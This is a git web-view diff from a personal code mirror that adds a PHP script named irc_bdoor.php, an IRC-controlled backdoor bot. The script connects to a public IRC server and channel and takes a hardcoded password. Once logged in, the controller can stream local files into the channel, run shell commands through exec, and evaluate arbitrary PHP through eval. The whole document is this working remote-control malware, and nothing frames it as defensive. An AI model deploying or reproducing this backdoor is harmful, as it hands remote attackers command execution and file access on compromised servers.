Added lot of junk laying around on harvie.cz
[mirrors/Programs.git] / php / skripty / irc_bdoor.php
diff --git a/php/skripty/irc_bdoor.php b/php/skripty/irc_bdoor.php
new file mode 100644 (file)
index 0000000..2dc3f34
--- /dev/null
@@ -0,0 +1,162 @@
+<?php\r
+//HARVESTER IRC BOT\r
+\r
+//Settings:\r
+$server = "irc.2600.net";\r
+$port = "6667";\r
+$channel = "#harviez";\r
+$nick = ("hircz".time());\r
+$pass = "omnibus";\r
+$loged = FALSE;\r
+echo("-NICK: $nick\n"); \r
+error_reporting(0);\r
+error_reporting(E_ERROR);\r
+\r
+//Functions:\r
+function irc_connect( $fp, $nick, $channel, $joinwait ) {\r
+  fwrite($fp, "USER USER $nick # # :$nick\n");\r
+  fwrite($fp, "NICK $nick\n");\r
+    //sleep($joinwait);\r
+  fwrite($fp, "JOIN $channel\n");\r
+}\r
+\r
+function irc_say( $fp, $msg, $nick, $rcpto ) {\r
+  //fwrite($fp, ":$nick!~Harvie@r3ax157.net.upc.cz PRIVMSG $rcpto :$msg\n");\r
+  fwrite($fp, ": PRIVMSG $rcpto :$msg\n");\r
+}\r
+\r
+//Code:\r
+//Init:\r
+$jokes = file($jokefile);\r
+$spam = "";\r
+$rfile = "";\r
+\r
+while(1) { //Auto reconnect\r
+\r
+fclose($sfp);\r
+$sfp = "";\r
+$sfp = fsockopen ($server, $port, &$errno, &$errstr, 5);\r
+irc_connect( $sfp, $nick, $channel, 0 );\r
+$home_channel = $channel;\r
+\r
+while(!fwrite($sfp, "")) {\r
+\r
+  fwrite($sfp, "JOIN $channel\n");\r
+\r
+  //ReadLine from IRC Server\r
+  $line = (fgets($sfp));\r
+  $words = (explode(" ", $line));\r
+  $commands = (explode(":", $line));\r
+  echo($line);\r
+  \r
+  while(!fwrite($sfp, "") && !$loged) {/////////////////////////////////\r
+      fwrite($sfp, "JOIN $channel\n");\r
+      $line = (fgets($sfp));\r
+      $words = (explode(" ", $line));\r
+      $commands = (explode(":", $line));\r
+      echo($line);\r
+      if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r
+        { $loged = FALSE; echo("-UNLOGED\n"); }\r
+      if (trim($commands[2]) == "hlogin" && trim($commands[3]) == $pass)\r
+        { $loged = TRUE; echo("-LOGED\n"); }\r
+  \r
\r
+  //IRC Sever PING/PONG Response\r
+  if ($words[0] == "PING") {\r
+    fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+    echo("-PONG ".trim($words[1])."\n");\r
+  }\r
+  }////////////////////////////////////////////////////////\r
+  \r
+  //Logout\r
+  if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r
+        { $loged = FALSE; echo("-UNLOGED\n"); }\r
+  \r
+  //IRC Sever PING/PONG Response\r
+  if ($words[0] == "PING") {\r
+    fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+    echo("-PONG ".trim($words[1])."\n");\r
+  }\r
+  \r
+  //hplay:file - Prehraje soubor\r
+  if ( trim($commands[2]) == "hplay") {\r
+    if (  is_file( trim($commands[3]) )  ) {\r
+      $rfile = fopen( trim($commands[3]), "r");\r
+    }\r
+    else\r
+    {\r
+    fclose($rfile);\r
+    $rfile = "";\r
+    }\r
+    echo("-FILE: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  if ( $rfile != "" ) {\r
+    irc_say( $sfp, fgetss($rfile), $nick, $channel );\r
+  }\r
+  \r
+  //hhelp - vypise tuto napovedu\r
+  if ( trim($commands[2]) == "hhelp") {\r
+    irc_say( $sfp, "Run out of here man!!!", $nick, $channel );\r
+    echo("-HELPED"."\n");\r
+  }\r
+  \r
+  //hsay:Message - Posle zpravu\r
+  if ( trim($commands[2]) == "hsay") {\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-SAID: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hdo:Command - Posle serveru prikaz\r
+  if ( trim($commands[2]) == "hdo") {\r
+    $hdo = explode("hdo:", $line);\r
+    fwrite( $sfp, trim($hdo[1])."\n" );\r
+    echo("-DONE: ".trim($hdo[1])."\n");\r
+  }\r
+  \r
+  //hcmd:Command - Spusti prikaz\r
+  if ( trim($commands[2]) == "hcmd") {\r
+    exec(trim($commands[3]));\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-CMD: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //heval:Command - Spusti php prikaz\r
+  if ( trim($commands[2]) == "heval") {\r
+    eval(trim($commands[3]));\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-EVALCMD: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hpart:Channel - Odpoji se z kanalu\r
+  if ( trim($commands[2]) == "hpart") {\r
+    $hdo = explode("hpart:", $line);\r
+    if ( trim($hdo[1]) != trim($home_channel) ) {\r
+      fwrite( $sfp, "PART :".trim($hdo[1])."\n" );\r
+      echo("-PARTED: ".trim($hdo[1])."\n");\r
+    }\r
+  }\r
+\r
+  //hmove:Channel - Zmeni aktivni kanal\r
+  if ( trim($commands[2]) == "hmove") {\r
+    $hdo = explode("hmove:", $line);\r
+    if ( trim($hdo[1]) != trim($home_channel) ) {\r
+      $home_channel = trim($hdo[1]);\r
+      fwrite($sfp, "JOIN $home_channel\n");\r
+      irc_say( $sfp, "Hi, im here...", $nick, $home_channel );\r
+      echo("-ACTIVATED: ".trim($hdo[1])."\n");\r
+    }\r
+  }\r
+\r
+  //htime - udaje o casu\r
+  if  ( trim($commands[2]) == "htime") {\r
+      $msg = implode("-", getdate(time()));\r
+      irc_say( $sfp, trim($msg), $nick, $channel );\r
+      echo("-TIMED"."\n");\r
+  }\r
+  \r
+}\r
+echo("-Connection lost.\n-Reconnecting\n");\r
+}\r
+\r
+?>\r
This page took 0.130443 seconds and 4 git commands to generate.